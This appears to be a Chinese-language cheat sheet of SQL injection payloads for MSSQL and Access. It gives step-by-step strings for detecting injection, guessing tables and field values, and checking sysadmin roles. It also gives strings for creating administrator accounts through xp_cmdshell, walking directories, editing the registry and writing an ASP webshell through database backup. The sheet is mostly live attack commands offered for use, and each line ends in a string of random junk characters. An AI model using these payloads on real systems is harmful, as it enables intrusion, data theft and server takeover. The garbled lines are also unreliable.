1.判断是否有注入;and 1=1 ;and 1=2 |Th{*IJ<,
2.初步判断是否是mssql ;and user>0 53QP~[F8R]
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3.注入参数是字符'and [查询条件] and ''=' i]v!o$7
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4.搜索时没过滤参数的'and [查询条件] and '%25'='
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5.判断数据库系统 z$NLFJvy_-
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;and (select count(*) from sysobjects)>0 mssql BG"6jQh
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;and (select count(*) from msysobjects)>0 access +j,;g#d
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 RjT[y: !
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 `xSXGI
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 `6/7},"9t
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9.(1)猜字段的ascii值(access) *sTQ9 Kr
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(2)猜字段的ascii值(mssql) }73H$ss:
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 P1kd6]s
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10.测试权限结构(mssql) :MVD83?4
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- eXYR/j<8
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6T-(GHzfHJ
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ~4M]SX1z
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- i<
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- i[<O@Rb
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- W+S>/`N
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;and 1=(select IS_MEMBER('db_owner'));-- y&
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11.添加mssql和系统的帐户 mUjA9[@
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;exec master.dbo.sp_addlogin username;-- p"T4;QBxQ
;exec master.dbo.sp_password null,username,password;-- 6V)# Yf
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- it.l;L_nW
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;exec master.dbo.xp_cmdshell 'net user username password Kl*##qw!
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Uz0mSfBp
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ]?kf;A@
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;create table dirs(paths varchar(100), id int) = *sP,
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;insert dirs exec master.dbo.xp_dirtree 'c:\' <Z vG&
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;and (select top 1 paths from dirs)>0 xzy9~))o
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 'K0Y@y
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(2)遍历目录 n_aKciF
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- vs.q<i-u
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 OvFZ&S[
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 *P_TG"^{W
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <'/+E4m
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 UZ<!(g.
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13.mssql中的存储过程 6rRPqO
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xp_regenumvalues 注册表根键, 子键 40Du*5M
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 T-27E$0
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xp_regread 根键,子键,键值名 ;1BbRnCr
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 m86w{b$8
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xp_regwrite 根键,子键, 值名, 值类型, 值 8(BLS{-"<
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 w7O(I"
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xp_regdeletevalue 根键,子键,值名 9m<>G3Jr
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ~_R=2t{u_
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 VDscZt)y8
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14.mssql的backup创建webshell iLFF "Hs
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use model 27;*6/>,
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create table cmd(str image); e`Yx]3;u(
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insert into cmd(str) values (''); /\2 s%b*
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backup database model to disk='c:\l.asp'; P_w+p"@m
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15.mssql内置函数 Q~uj:A]n<
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;and (select @@version)>0 获得Windows的版本号 o-/Xa[yC
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa l^fz
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;and (select user_name())>0 爆当前系统的连接用户 2c}>}A 4
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;and (select db_name())>0 得到当前连接的数据库 _t3n<
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16.简洁的webshell "M2HiV
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use model 3<?#*z4]_
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create table cmd(str image); <